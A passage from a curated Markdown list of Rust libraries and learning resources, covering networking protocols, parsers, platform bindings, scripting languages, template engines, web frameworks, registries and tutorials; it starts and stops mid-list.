[mattnenterprise/rust-nntp](https://github.com/mattnenterprise/rust-nntp) [[nntp](https://crates.io/crates/nntp)] — an [NNTP](https://en.wikipedia.org/wiki/Network_News_Transfer_Protocol) client for Rust * P2P * [libp2p/rust-libp2p](https://github.com/libp2p/rust-libp2p) — The Rust Implementation of libp2p networking stack. [![Circle CI](https://circleci.com/gh/libp2p/rust-libp2p.svg?style=svg)](https://app.circleci.com/pipelines/github/libp2p/rust-libp2p) * POP3 * [mattnenterprise/rust-pop3](https://github.com/mattnenterprise/rust-pop3) [[pop3](https://crates.io/crates/pop3)] — A [POP3](https://en.wikipedia.org/wiki/Post_Office_Protocol) client for Rust * QUIC * [cloudflare/quiche](https://github.com/cloudflare/quiche) — cloudflare implementation of the QUIC transport protocol and HTTP/3 ![build](https://img.shields.io/github/workflow/status/cloudflare/quiche/Stable) * [mozilla/neqo](https://github.com/mozilla/neqo) — an Implementation of QUIC written in Rust * [quinn-rs/quinn](https://github.com/quinn-rs/quinn) — Futures-based QUIC implementation in Rust [![build badge](https://dev.azure.com/dochtman/Projects/_apis/build/status/Quinn?branchName=master)](https://dev.azure.com/dochtman/Projects/_build) * Raknet * [b23r0/rust-raknet](https://github.com/b23r0/rust-raknet) — RakNet Protocol implementation by Rust [![Build Status](https://img.shields.io/github/workflow/status/b23r0/rust-raknet/Rust)](https://github.com/b23r0/rust-raknet/actions/workflows/rust.yml) * RPC * [ENQT-GmbH/remoc](https://github.com/ENQT-GmbH/remoc) [[remoc](https://crates.io/crates/remoc)] - Remoc provides channels (broadcast, mpsc, oneshot, watch) similar to Tokio's and trait calling over any remote transport. [![build badge](https://github.com/ENQT-GmbH/remoc/actions/workflows/rust.yml/badge.svg?branch=master)](https://github.com/ENQT-GmbH/remoc/actions/workflows/rust.yml) * [smallnest/rpcx-rs](https://github.com/smallnest/rpcx-rs) — A RPC library for Rust for developing microservices in easy and simple way. * Socket.io * [1c3t3a/rust-socketio](https://github.com/1c3t3a/rust-socketio) [[rust_socketio](https://crates.io/crates/rust_socketio)] — an implementation of a [socket.io](https://socket.io) client written in Rust. [![build badge](https://github.com/1c3t3a/rust-socketio/actions/workflows/build.yml/badge.svg)](https://github.com/1c3t3a/rust-socketio/actions/workflows/build.yml) * SSH * [alexcrichton/ssh2-rs](https://github.com/alexcrichton/ssh2-rs) — [libssh2](https://libssh2.org/) bindings * [Thrussh](https://pijul.org/thrussh) [[thrussh](https://crates.io/crates/thrussh)] — an SSH library written from scratch in Rust, backed by [libsodium](https://doc.libsodium.org/) * Stomp * [zslayton/stomp-rs](https://github.com/zslayton/stomp-rs) — A [STOMP 1.2](http://stomp.github.io/stomp-specification-1.2.html) client implementation in Rust * ZeroMQ * [erickt/rust-zmq](https://github.com/erickt/rust-zmq) — [ZeroMQ](https://zeromq.org/) bindings ### Parsing * [comex/rust-shlex](https://github.com/comex/rust-shlex) [[shlex](https://crates.io/crates/shlex)] — Split a string into shell words, like Python's shlex. [![build badge](https://github.com/comex/rust-shlex/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/comex/rust-shlex/actions/workflows/test.yml) * [Folyd/robotstxt](https://github.com/Folyd/robotstxt) - A native Rust port of Google's robots.txt parser and matcher C++ library * [freestrings/jsonpath](https://github.com/freestrings/jsonpath) — [JsonPath](https://goessner.net/articles/JsonPath/) engine written in Rust. Webassembly and Javascript support too * [hmeyer/stl_io](https://crates.io/crates/stl_io) - A parser for STL (STereoLithography) files * [kevinmehall/rust-peg](https://github.com/kevinmehall/rust-peg) — Parsing Expression Grammar (PEG) parser generator * [lalrpop/lalrpop](https://github.com/lalrpop/lalrpop) — LR(1) parser generator for Rust * [m4rw3r/chomp](https://github.com/m4rw3r/chomp) – A fast monadic-style parser combinator * [Marwes/combine](https://github.com/Marwes/combine) — parser combinator library * [nrc/zero](https://github.com/nrc/zero) [[zero](https://crates.io/crates/zero/)] — zero-allocation parsing of binary data * [pest-parser/pest](https://github.com/pest-parser/pest) — The Elegant Parser * [ptal/oak](https://github.com/ptal/oak) — A typed PEG parser generator (compiler plugin) * [replicadse/wavefront_rs](https://github.com/replicadse/wavefront_rs) — A parser for the Wavefront OBJ format. [![crates.io](https://img.shields.io/crates/v/wavefront_rs.svg)](https://crates.io/crates/wavefront_rs) [![crates.io](https://img.shields.io/crates/d/wavefront_rs?label=crates.io%20downloads)](https://crates.io/crates/wavefront_rs) [![build badge](https://github.com/replicadse/wavefront_rs/workflows/pipeline/badge.svg?branch=master)](https://github.com/replicadse/wavefront_rs/actions) * [rust-bakery/nom](https://github.com/rust-bakery/nom) — parser combinator library * [s-panferov/queryst](https://github.com/s-panferov/queryst) — A query string parsing library for Rust inspired by [gs](https://github.com/ljharb/qs#readme) * [softdevteam/grmtools](https://github.com/softdevteam/grmtools/) - A LR parser with better error correction ### Peripherals * Serial Port * [serialport/serialport-rs](https://github.com/serialport/serialport-rs) [[serialport](https://crates.io/crates/serialport)] — A cross-platform library that provides access to a serial port ### Platform specific * Cross-platform * [svartalf/rust-battery](https://crates.io/crates/battery) — Cross-platform information about the notebook batteries * [vityafx/thread-priority](https://github.com/vityafx/thread-priority/) - Simple, crossplatform thread priority management. [![CI](https://github.com/vityafx/thread-priority/actions/workflows/ci.yml/badge.svg)](https://github.com/vityafx/thread-priority/actions/workflows/ci.yml) [![Crates badge](https://img.shields.io/crates/v/thread-priority.svg)](https://crates.io/crates/thread-priority) * FreeBSD * [fubarnetes/libjail-rs](https://github.com/fubarnetes/libjail-rs/) [[jail](https://crates.io/crates/jail)] — Rust implementation of a FreeBSD jail library * Linux * [hannobraun/inotify-rs](https://github.com/hannobraun/inotify-rs) — [inotify](https://en.wikipedia.org/wiki/Inotify) bindings [![Rust](https://github.com/hannobraun/inotify-rs/actions/workflows/rust.yml/badge.svg)](https://github.com/hannobraun/inotify-rs/actions/workflows/rust.yml) * [pop-os/distinst](https://github.com/pop-os/distinst/) — Linux distribution installer * [yaa110/rust-iptables](https://github.com/yaa110/rust-iptables) [[iptables](https://crates.io/crates/iptables)] — [iptables](https://www.netfilter.org/projects/iptables/index.html) bindings * Unix-like * [nix-rust/nix](https://github.com/nix-rust/nix) — Unix-like API bindings [![Cirrus Build Status](https://api.cirrus-ci.com/github/nix-rust/nix.svg)](https://cirrus-ci.com/github/nix-rust/nix) * [rustix](https://github.com/bytecodealliance/rustix) — Safe Rust bindings to POSIX/Unix/Linux/Winsock2 syscalls [![Actions Status](https://github.com/bytecodealliance/rustix/workflows/CI/badge.svg)](https://github.com/bytecodealliance/rustix/actions?query=workflow%3ACI) * [zargony/fuse-rs](https://github.com/zargony/fuse-rs) — [FUSE](https://github.com/libfuse/libfuse) bindings * Windows * [microsoft/windows-rs](https://github.com/microsoft/windows-rs) — Rust for Windows [![Actions Status](https://github.com/microsoft/windows-rs/workflows/CI/badge.svg)](https://github.com/microsoft/windows-rs/actions) * [retep998/winapi-rs](https://github.com/retep998/winapi-rs) — Windows API bindings [![Rust](https://github.com/retep998/winapi-rs/actions/workflows/rust.yml/badge.svg?branch=dev)](https://github.com/retep998/winapi-rs/actions/workflows/rust.yml) ### Scripting [[scripting](https://crates.io/keywords/scripting)] * [duckscript](https://crates.io/crates/duckscript) — [Simple, extendable and embeddable scripting language.](https://github.com/sagiegurari/duckscript) [![build badge](https://github.com/sagiegurari/duckscript/workflows/CI/badge.svg?branch=master)](https://github.com/sagiegurari/duckscript/actions) * [fleabitdev/gamelisp](https://github.com/fleabitdev/glsp) — A Lisp-like scripting language for Rust game development * [gluon-lang/gluon](https://github.com/gluon-lang/gluon) — A small, statically-typed, functional programming language * [kcl](https://github.com/kcl-lang/kcl) - A constraint-based record & functional language mainly used in configuration and policy scenarios. * [metacall/core](https://github.com/metacall/core) [[metacall](https://crates.io/crates/metacall)] — Cross-platform Polyglot Runtime which supports NodeJS, JavaScript, TypeScript, Python, Ruby, C#, Wasm, Java, Cobol and more. [![build badge](https://gitlab.com/metacall/core/badges/master/pipeline.svg)](https://gitlab.com/metacall/core) * [mun](https://github.com/mun-lang/mun) — A compiled, statically-typed scripting language with first class hot reloading support * [murarth/ketos](https://github.com/murarth/ketos) — A Lisp dialect functional programming language serving as a scripting and extension language for rust * [PistonDevelopers/dyon](https://github.com/PistonDevelopers/dyon) — A rusty dynamically typed scripting language * [rhaiscript/rhai](https://github.com/rhaiscript/rhai) — A tiny and fast embedded scripting language resembling a combination of JavaScript and Rust [![build badge](https://github.com/rhaiscript/rhai/workflows/Build/badge.svg)](https://github.com/rhaiscript/rhai/actions) * [rune-rs/rune](https://github.com/rune-rs/rune) — An embeddable dynamic programming language for Rust ### Simulation [[simulation](https://crates.io/keywords/simulation)] * [nyx-space](https://crates.io/crates/nyx-space) - High fidelity, fast, reliable and validated astrodynamical toolkit library, used for spacecraft mission design and orbit determination [![Build Status](https://gitlab.com/nyx-space/nyx/badges/master/pipeline.svg)](https://gitlab.com/nyx-space/nyx/-/pipelines) ### System * [ardaku/whoami](https://github.com/ardaku/whoami) [[whoami](https://crates.io/crates/whoami)] — Rust crate to get the current user and environment. [![build badge](https://github.com/ardaku/whoami/actions/workflows/ci.yml/badge.svg?branch=stable)](https://github.com/ardaku/whoami/actions/workflows/ci.yml) * [GuillaumeGomez/sysinfo](https://github.com/GuillaumeGomez/sysinfo) [[sysinfo](https://crates.io/crates/sysinfo)] — Cross-platform library to fetch system information [![build badge](https://github.com/GuillaumeGomez/sysinfo/actions/workflows/CI.yml/badge.svg?branch=master)](https://github.com/GuillaumeGomez/sysinfo/actions/workflows/CI.yml) * [Phate6660/nixinfo](https://github.com/Phate6660/nixinfo) [[nixinfo](https://crates.io/crates/nixinfo)] — A lib crate for gathering system info such as cpu, distro, environment, kernel, etc. * [sorairolake/sysexits-rs](https://github.com/sorairolake/sysexits-rs) [[sysexits](https://crates.io/crates/sysexits)] — The system exit codes as defined by [`<sysexits.h>`](https://man.openbsd.org/sysexits). [![CI](https://github.com/sorairolake/sysexits-rs/workflows/CI/badge.svg?branch=develop)](https://github.com/sorairolake/sysexits-rs/actions?query=workflow%3ACI) ### Task scheduling * [delay-timer](https://github.com/BinChengZhao/delay-timer) — Time-manager of delayed tasks. Like crontab, but asynchronous tasks are possible. [![Build](https://github.com/BinChengZhao/delay-timer/actions/workflows/rust.yml/badge.svg)]( https://github.com/BinChengZhao/delay-timer/actions) ### Template engine * Handlebars * [botika/yarte](https://github.com/botika/yarte) — Yarte stands for **Y**et **A**nother **R**ust **T**emplate **E**ngine, is the fastest template engine. * [sunng87/handlebars-rust](https://github.com/sunng87/handlebars-rust) — Handlebars template engine with inheritance, custom helper support. * HTML * [djc/askama](https://github.com/djc/askama) — template rendering engine based on Jinja * [kaj/ructe](https://github.com/kaj/ructe) — HTML template system for Rust * [Keats/tera](https://github.com/Keats/tera) — template engine based on Jinja2 and the Django template language. [![Actions Status](https://github.com/Keats/tera/workflows/ci/badge.svg?branch=master)](https://github.com/Keats/tera/actions) * [lambda-fairy/maud](https://github.com/lambda-fairy/maud) — compile-time HTML templates * [Stebalien/horrorshow-rs](https://github.com/Stebalien/horrorshow-rs) — compile-time HTML templates * Mustache * [rustache/rustache](https://github.com/rustache/rustache) — ### Text processing * [becheran/wildmatch](https://github.com/becheran/wildmatch) [[wildmatch](https://crates.io/crates/wildmatch)] — Simple string matching with questionmark- and star-wildcard operator [![Actions Status](https://github.com/becheran/wildmatch/workflows/Build/badge.svg?branch=master)](https://github.com/becheran/wildmatch/actions) * [BurntSushi/suffix](https://github.com/BurntSushi/suffix) — Linear time suffix array construction (with Unicode support) * [BurntSushi/tabwriter](https://github.com/BurntSushi/tabwriter) — Elastic tab stops (i.e., text column alignment) * [cpc](https://github.com/probablykasper/cpc) - Parses and calculates strings of math with support for units and unit conversion, from `1+2` to `1% of round(1 lightyear / 14!s to km/h)`. * [Daniel-Liu-c0deb0t/triple_accel](https://github.com/Daniel-Liu-c0deb0t/triple_accel) [[triple_accel](https://crates.io/crates/triple_accel)] - Rust edit distance routines accelerated using SIMD; supports fast Hamming, Levenshtein, restricted Damerau-Levenshtein, etc. distance calculations and string search [![build badge](https://github.com/Daniel-Liu-c0deb0t/triple_accel/workflows/Test/badge.svg?branch=master)](https://github.com/Daniel-Liu-c0deb0t/triple_accel/actions) * [fancy-regex/fancy-regex](https://github.com/fancy-regex/fancy-regex) [[fancy-regex](https://crates.io/crates/fancy-regex)] - Regular expressions implementation designed to support a relatively rich set of features such as look-around and backtracking. [![crates](https://img.shields.io/crates/v/fancy-regex.svg)](https://crates.io/crates/fancy-regex) [![build badge](https://github.com/fancy-regex/fancy-regex/workflows/ci/badge.svg)](https://github.com/fancy-regex/fancy-regex/actions/workflows/ci.yml) * [greyblake/whatlang-rs](https://github.com/greyblake/whatlang-rs) — Natural language detection library based on trigrams * [Lucretiel/joinery](https://github.com/Lucretiel/joinery) [[joinery](https://crates.io/crates/joinery)] – Generic string + iterable joining * [mgeisler/textwrap](https://github.com/mgeisler/textwrap) [[textwrap](https://crates.io/crates/textwrap)] — Word wrap text (with support for hyphenation) * [null8626/decancer](https://github.com/null8626/decancer) [[decancer](https://crates.io/crates/decancer)] — A tiny package that removes common unicode confusables/homoglyphs from strings. [![crates](https://img.shields.io/crates/v/decancer.svg)](https://crates.io/crates/decancer) [![build badge](https://github.com/null8626/decancer/workflows/CI/badge.svg)](https://github.com/null8626/decancer/actions/workflows/CI.yml) * [ps1dr3x/easy_reader](https://github.com/ps1dr3x/easy_reader) — A reader that allows forwards, backwards and random navigations through the lines of huge files without consuming iterators * [pwoolcoc/ngrams](https://github.com/pwoolcoc/ngrams) [[ngrams](https://crates.io/crates/ngrams)] — Construct [n-grams](https://en.wikipedia.org/wiki/N-gram) from arbitrary iterators * [rust-lang/regex](https://github.com/rust-lang/regex) — Regular expressions (RE2 style) * [strsim-rs](https://crates.io/crates/strsim) — String similarity metrics * [yaa110/rake-rs](https://github.com/yaa110/rake-rs) [[rake](https://crates.io/crates/rake)] — Multilingual implementation of RAKE algorithm for Rust ### Text search * [andylokandy/simsearch-rs](https://github.com/andylokandy/simsearch-rs) [[simsearch](https://crates.io/crates/simsearch)] — A simple and lightweight fuzzy search engine that works in memory, searching for similar strings * [BurntSushi/fst](https://github.com/BurntSushi/fst) [[fst](https://crates.io/crates/fst)] — * [CurrySoftware/perlin](https://github.com/CurrySoftware/perlin) [[perlin](https://crates.io/crates/perlin)] * [meilisearch/MeiliSearch](https://github.com/meilisearch/MeiliSearch) — Ultra relevant, instant and typo-tolerant full-text search API. [![Build Status](https://github.com/meilisearch/MeiliSearch/workflows/Cargo%20test/badge.svg?branch=master)](https://github.com/meilisearch/MeiliSearch/actions) * [tantivy](https://github.com/quickwit-oss/tantivy) [[tantivy](https://crates.io/crates/tantivy)] — A horse-speed full-text search engine library written in Rust. [![Build Status](https://github.com/quickwit-oss/tantivy/actions/workflows/test.yml/badge.svg)](https://github.com/quickwit-oss/tantivy/actions/workflows/test.yml) ### Unsafe * [zerocopy](https://crates.io/crates/zerocopy) — Utilities for safely reinterpreting arbitrary byte sequences as native Rust types ### Video * [ffmpeg-sidecar](https://github.com/nathanbabcock/ffmpeg-sidecar) — Wrap a standalone FFmpeg binary in an intuitive Iterator interface. [![Build Status](https://github.com/nathanbabcock/ffmpeg-sidecar/actions/workflows/rust.yml/badge.svg)](https://github.com/nathanbabcock/ffmpeg-sidecar/actions/workflows/rust.yml) ### Virtualization * [beneills/quantum](https://github.com/beneills/quantum) — Advanced Rust quantum computer simulator * [bytecodealliance/wasmtime](https://github.com/bytecodealliance/wasmtime) — A standalone runtime for WebAssembly [![Build Status](https://github.com/bytecodealliance/wasmtime/workflows/CI/badge.svg)](https://github.com/bytecodealliance/wasmtime/actions?query=workflow%3ACI) * [chromium/chromiumos/platform/crosvm](https://chromium.googlesource.com/chromiumos/platform/crosvm/) CrOSVM — Enables Chrome OS to run Linux apps inside a fast, secure virtualized environment * [oxidecomputer/propolis](https://github.com/oxidecomputer/propolis) - Rust-based userspace program for illumos bhyve kernel modules * [saurvs/hypervisor-rs](https://github.com/saurvs/hypervisor-rs) — Hardware-accelerated virtualization on OS X * [unicorn-rs/unicorn-rs](https://github.com/unicorn-rs/unicorn-rs) — Rust bindings for the unicorn CPU emulator ### Web programming See also [Are we web yet?](https://www.arewewebyet.org) and [Rust web framework comparison](https://github.com/flosse/rust-web-framework-comparison). * Client-side / WASM * [cargo-web](https://crates.io/crates/cargo-web) — A Cargo subcommand for the client-side Web * [leptos](https://github.com/leptos-rs/leptos) — Leptos is a full-stack, isomorphic Rust web framework leveraging fine-grained reactivity to build declarative user interfaces.[![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/leptos) * [sauron](https://github.com/ivanceras/sauron) - Client side web framework which closely adheres to The Elm Architecture. * [seed](https://seed-rs.org/) — A Rust framework for creating web apps * [stdweb](https://crates.io/crates/stdweb) — A standard library for the client-side Web * [yew](https://crates.io/crates/yew) — Rust framework for making client web apps * HTTP Client * [alexcrichton/curl-rust](https://github.com/alexcrichton/curl-rust) — [libcurl](https://curl.se/libcurl/) bindings * [async-graphql](https://github.com/async-graphql/async-graphql) - A GraphQL server library implemented in Rust [![Build Status](https://dev.azure.com/graphql-rust/GraphQL%20Rust/_apis/build/status/graphql-rust.juniper)](https://dev.azure.com/graphql-rust/GraphQL%20Rust/_build/latest?definitionId=1) * [DoumanAsh/yukikaze](https://gitlab.com/Douman/yukikaze) [[yukikaze](https://crates.io/crates/yukikaze)] — Beautiful and elegant Yukikaze is little HTTP client library based on hyper. [![build badge](https://gitlab.com/Douman/yukikaze/badges/master/pipeline.svg)](https://gitlab.com/Douman/yukikaze) * [graphql-client](https://github.com/graphql-rust/graphql-client) — Typed, correct GraphQL requests and responses in Rust. [![Github actions Status](https://github.com/graphql-rust/graphql-client/workflows/CI/badge.svg?branch=master)](https://github.com/graphql-rust/graphql-client/actions) * [hyperium/hyper](https://github.com/hyperium/hyper) — an HTTP implementation [![CI](https://github.com/hyperium/hyper/workflows/CI/badge.svg?branch=master)](https://github.com/hyperium/hyper/actions?query=workflow%3ACI) * [seanmonstar/reqwest](https://github.com/seanmonstar/reqwest) — an ergonomic HTTP Client for Rust. * HTTP Server * [actix/actix-web](https://github.com/actix/actix-web) — A lightweight async web framework for Rust with websocket support * [Anansi](https://github.com/saru-tora/anansi) — A simple full-stack web framework for Rust. * [branca](https://crates.io/crates/branca) — A Pure Rust implementation of Branca for Authenticated and Encrypted API tokens. * [carllerche/tower-web](https://github.com/carllerche/tower-web) [[tower-web](https://crates.io/crates/tower-web)] — A fast, boilerplate free, web framework for Rust * [danclive/sincere](https://github.com/danclive/sincere) — A micro web framework for Rust(stable) based on hyper and multithreading. * [GildedHonour/frank_jwt](https://github.com/GildedHonour/frank_jwt) — JSON Web Token implementation in Rust. * [Gotham](https://github.com/gotham-rs/gotham) — A flexible web framework that does not sacrifice safety, security or speed. * [Graphul](https://github.com/graphul-rs/graphul) — An Express-inspired web framework written in Rust. [![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/graphul) * [handlebars-rust](https://github.com/sunng87/handlebars-rust) — an Iron web framework middleware. * [hyperium/hyper](https://github.com/hyperium/hyper) — an HTTP implementation [![CI](https://github.com/hyperium/hyper/workflows/CI/badge.svg?branch=master)](https://github.com/hyperium/hyper/actions?query=workflow%3ACI) * [Iron](https://github.com/iron/iron) — A middleware-based server framework * [Juniper](https://github.com/graphql-rust/juniper) — GraphQL server library for Rust * [miketang84/sapper](https://github.com/miketang84/sapper) — A lightweight web framework built on async hyper, implemented in Rust language. * [Nickel](https://github.com/nickel-org/nickel.rs/) — inspired by [Express](http://expressjs.com/) * [Ogeon/rustful](https://github.com/Ogeon/rustful) — A RESTful web framework for Rust * [poem-web/poem](https://github.com/poem-web/poem) - A full-featured and easy-to-use web framework with the Rust programming language. [![CI](https://github.com/poem-web/poem/actions/workflows/ci.yml/badge.svg)](https://github.com/poem-web/poem/actions/workflows/ci.yml) * [Rocket](https://github.com/SergioBenitez/Rocket) — Rocket is web framework for Rust (nightly) with a focus on ease-of-use, expressability, and speed * [Rustless](https://github.com/rustless/rustless) — A REST-like API micro-framework inspired by [Grape](https://github.com/ruby-grape/grape) and [Hyper](https://github.com/hyperium/hyper) * [Salvo](https://github.com/salvo-rs/salvo) — an easy to use webframework base on hyper and tokio. [![build build](https://github.com/salvo-rs/salvo/workflows/CI%20(Linux)/badge.svg?branch=master&event=push)](https://github.com/salvo-rs/salvo/actions) * [Saphir](https://github.com/richerarc/saphir) — A progressive web framework with low-level control, without the pain. * [seanmonstar/warp](https://github.com/seanmonstar/warp) — A super-easy, composable, web server framework for warp speeds. [![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/warp) * [tiny-http](https://github.com/tiny-http/tiny-http) — Low level HTTP server library * [tokio/axum](https://github.com/tokio-rs/axum) - Ergonomic and modular web framework built with Tokio, Tower, and Hyper [![Build badge](https://github.com/tokio-rs/axum/actions/workflows/CI.yml/badge.svg?branch=main)](https://github.com/tokio-rs/axum/actions/workflows/CI.yml) * [tomaka/rouille](https://github.com/tomaka/rouille) — Web framework in Rust * Miscellaneous * [cargonauts](https://github.com/cargonauts-rs/cargonauts) — A web framework intended for building maintainable, well-factored web apps. * [causal-agent/scraper](https://github.com/causal-agent/scraper) [[scraper](https://crates.io/crates/scraper)] - HTML parsing and querying with CSS selectors. [![Build Status](https://github.com/causal-agent/scraper/actions/workflows/test.yml/badge.svg?branch=master)](https://github.com/causal-agent/scraper/actions) * [hominee/dyer](https://github.com/hominee/dyer) [[dyer](https://crates.io/crates/dyer)] - dyer is designed for reliable, flexible and fast Request-Response based service, including data processing, web-crawling and so on, providing some friendly, flexible, comprehensive features without compromising speed. * [juhaku/utoipa](https://github.com/juhaku/utoipa) - Simple, Fast, Code first and Compile time generated OpenAPI documentation for Rust [![crates.io](https://img.shields.io/crates/v/utoipa.svg?label=crates.io&color=orange&logo=rust)](https://crates.io/crates/utoipa) [![Utoipa build](https://github.com/juhaku/utoipa/actions/workflows/build.yaml/badge.svg)](https://github.com/juhaku/utoipa/actions/workflows/build.yaml) * [osohq/oso](https://github.com/osohq/oso) [[oso](https://crates.io/crates/oso)] - A policy engine for authorization that's embedded in your application. [![Build Status](https://github.com/osohq/oso/workflows/Development/badge.svg?branch=main)](https://github.com/osohq/oso/actions?query=branch%3Amain+workflow%3ADevelopment) * [pwoolcoc/soup](https://gitlab.com/pwoolcoc/soup) [[soup](https://crates.io/crates/soup)] — A library similar to Python's BeautifulSoup, designed to enable quick and easy manipulation and querying of HTML documents. [![Build Status](https://gitlab.com/pwoolcoc/soup/badges/master/pipeline.svg)](https://gitlab.com/pwoolcoc/soup/badges/master/pipeline.svg) * [pyrossh/rust-embed](https://github.com/pyrossh/rust-embed) — A macro to embed static assets into the rust binary * [serenity-rs/serenity](https://github.com/serenity-rs/serenity) [[serenity](https://crates.io/crates/serenity)] - A Rust library for the Discord API * [softprops/openapi](https://github.com/softprops/openapi) — A library for processing openapi spec files * [svix/svix-webhooks](https://github.com/svix/svix-webhooks) [[svix](https://crates.io/crates/svix)]- A library for sending webhooks and verifying signatures. * [tbot](https://gitlab.com/SnejUgal/tbot) [[tbot](https://crates.io/crates/tbot)] - Make cool Telegram bots with Rust easily [![pipeline status](https://gitlab.com/SnejUgal/tbot/badges/master/pipeline.svg)](https://gitlab.com/SnejUgal/tbot/-/commits/master) * [teloxide/teloxide](https://github.com/teloxide/teloxide/) - An elegant Telegram bots framework for Rust [![Build Status](https://github.com/teloxide/teloxide/workflows/Continuous%20integration/badge.svg?branch=master)](https://github.com/teloxide/teloxide/actions) * [utkarshkukreti/select.rs](https://github.com/utkarshkukreti/select.rs) [[select](https://crates.io/crates/select)] — A library to extract useful data from HTML documents, suitable for web scraping. * Reverse Proxy * [sozu-proxy/sozu](https://github.com/sozu-proxy/sozu) [[sozu](https://crates.io/crates/sozu)] — A HTTP reverse proxy. [![CI](https://github.com/sozu-proxy/sozu/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/sozu-proxy/sozu/actions/workflows/ci.yml) * Static Site Generators * [cobalt-org/cobalt.rs](https://github.com/cobalt-org/cobalt.rs) — Static site generator written in Rust [![Build Status](https://dev.azure.com/cobalt-org/cobalt-org/_apis/build/status/cobalt.rs?branchName=master)](https://dev.azure.com/cobalt-org/cobalt-org/_build?definitionId=2) * [FuGangqiang/mdblog.rs](https://github.com/FuGangqiang/mdblog.rs) [[mdblog](https://crates.io/crates/mdblog)] — Static site generator from markdown files. * [getzola/zola](https://github.com/getzola/zola) [[zola](https://www.getzola.org/)] — An opinionated static site generator with everything built-in. [![Build Status](https://dev.azure.com/getzola/zola/_apis/build/status/getzola.zola?branchName=master)](https://dev.azure.com/getzola/zola/_build) * [grego/blades](https://github.com/grego/blades) [[blades](https://getblades.org/)] — Blazing fast dead simple static site generator. * [leven-the-blog/leven](https://github.com/leven-the-blog/leven) [[leven](https://crates.io/crates/leven)] — A simple, parallelized blog generator. * [WebSocket](https://datatracker.ietf.org/doc/rfc6455/) * [housleyjk/ws-rs](https://github.com/housleyjk/ws-rs) — lightweight, event-driven WebSockets for Rust * [rust-websocket](https://github.com/websockets-rs/rust-websocket) — A framework for dealing with WebSocket connections (both clients and servers) * [snapview/tungstenite-rs](https://github.com/snapview/tungstenite-rs) — Lightweight stream-based WebSocket implementation for Rust. * [vi/websocat](https://github.com/vi/websocat) — CLI for interacting with WebSockets, with functionality of Netcat, Curl and Socat. * [vityafx/urlshortener-rs](https://github.com/vityafx/urlshortener-rs) — A very simple urlshortener library for Rust. [![CI](https://github.com/vityafx/urlshortener-rs/actions/workflows/ci.yml/badge.svg)](https://github.com/vityafx/urlshortener-rs/actions/workflows/ci.yml) [![Crates badge](https://img.shields.io/crates/v/urlshortener.svg)](https://crates.io/crates/urlshortener) ## Registries A registry allows you to publish your Rust libraries as crate packages, to share them with others publicly and privately. * [Cloudsmith :heavy_dollar_sign:](https://cloudsmith.com/product/formats/cargo-registry) — A fully managed package management SaaS, with first-class support for public and private Cargo/Rust registries (plus many others). Has a generous free-tier and is also completely free for open-source. * [Crates](https://crates.io) — The official public registry for Rust/Cargo. * [w4/chartered](https://github.com/w4/chartered) - A private, authenticated, permissioned Cargo registry [![CI](https://github.com/w4/chartered/actions/workflows/ci.yml/badge.svg)](https://github.com/w4/chartered/actions/workflows/ci.yml) ## Resources * Benchmarks * [TeXitoi/benchmarksgame-rs](https://github.com/TeXitoi/benchmarksgame-rs) — Rust implementations for the [The Computer Language Benchmarks Game](https://benchmarksgame-team.pages.debian.net/benchmarksgame/) * Decks & Presentations * [Learning systems programming with Rust](https://speakerdeck.com/jvns/learning-systems-programming-with-rust) — Presented by [Julia Evans](https://twitter.com/@b0rk) @ Rustconf 2016. * [Rust: Hack Without Fear!](https://www.youtube.com/watch?v=lO1z-7cuRYI) — Presented by [Nicholas Matsakis](https://github.com/nikomatsakis) @ C++Now 2018 * [Shipping a Solid Rust Crate](https://www.youtube.com/watch?v=t4CyEKb-ywA) — Presented by [Michael Gattozzi](https://github.com/mgattozzi) @ RustConf 2017 * [Discover Rust Libraries & Code Snippets](https://kandi.openweaver.com/explore/rust) - A curated list of Rust libraries, authors, kits, tutorials & learning resources on kandi * Learning * [Aquascope](https://github.com/cognitive-engineering-lab/aquascope) - Interactive visualizations of Rust at compile-time and run-time * [Awesome Rust Streaming](https://github.com/jamesmunns/awesome-rust-streaming) - A community curated list of livestreams about Rust. * [awesome-rust-mentors](https://rustbeginners.github.io/awesome-rust-mentors/) — A list of helpful Rust mentors willing to take mentees and educate them about Rust and programming. * [Build a language VM](https://blog.subnetzero.io/post/building-language-vm-part-00/) * [CodeCrafters.io](https://app.codecrafters.io/tracks/rust) — Build your own Redis, Git, Docker, or SQLite in Rust * [Comprehensive Rust 🦀](https://google.github.io/comprehensive-rust/) — A 3-day course on Rust Fundamentals plus 1-day courses on Android, Bare-metal Rust, and Concurrency. Available in English, [Brazilian Portuguese](https://google.github.io/comprehensive-rust/pt-BR/), and [Korean](https://google.github.io/comprehensive-rust/ko/). * [Easy Rust](https://github.com/Dhghomon/easy_rust) - Learn Rust in easy English. * [exercism.org](https://exercism.org/tracks/rust) — programming exercises that help you learn new concepts in Rust. * [Hands-on Rust](https://pragprog.com/titles/hwrust/hands-on-rust/) - A hands-on guide to learning Rust by making games - by [Herbert Wolverson](https://github.com/thebracket/) (paid) * [Idiomatic Rust](https://github.com/mre/idiomatic-rust) — A peer-reviewed collection of articles/talks/repos which teach idiomatic Rust. * [Learning Rust With Entirely Too Many Linked Lists](https://rust-unofficial.github.io/too-many-lists/) — in-depth exploration of Rust's memory management rules, through implementing a few different types of list structures. * [Little Book of Rust Books](https://lborb.github.io/book/) - Curated list of rust books and how-tos. * [Programming Community Curated Resources for Learning Rust](https://hackr.io/tutorials/learn-rust) — A list of recommended resources voted by the programming community. * [Refactoring to Rust](https://www.manning.com/books/refactoring-to-rust) - A book that introduces to Rust language. * [Rust by Example](https://doc.rust-lang.org/rust-by-example/) * [Rust Cookbook](https://rust-lang-nursery.github.io/rust-cookbook/) — A collection of simple examples that demonstrate good practices to accomplish common programming tasks, using the crates of the Rust ecosystem. * [Rust for professionals](https://overexact.com/rust-for-professionals/) — A quick introduction to Rust for experienced software developers. * [Rust Gym](https://github.com/warycat/rustgym) - A big collection of coding interview problems solved in Rust. * [Rust in Action](https://www.manning.com/books/rust-in-action) — A hands-on guide to systems programming with Rust by [Tim McNamara](https://github.com/timClicks) (paid) * [Rust in Motion](https://www.manning.com/livevideo/rust-in-motion?a_aid=cnichols&a_bid=6a993c2e) — A video series by [Carol Nichols](https://github.com/carols10cents) and [Jake 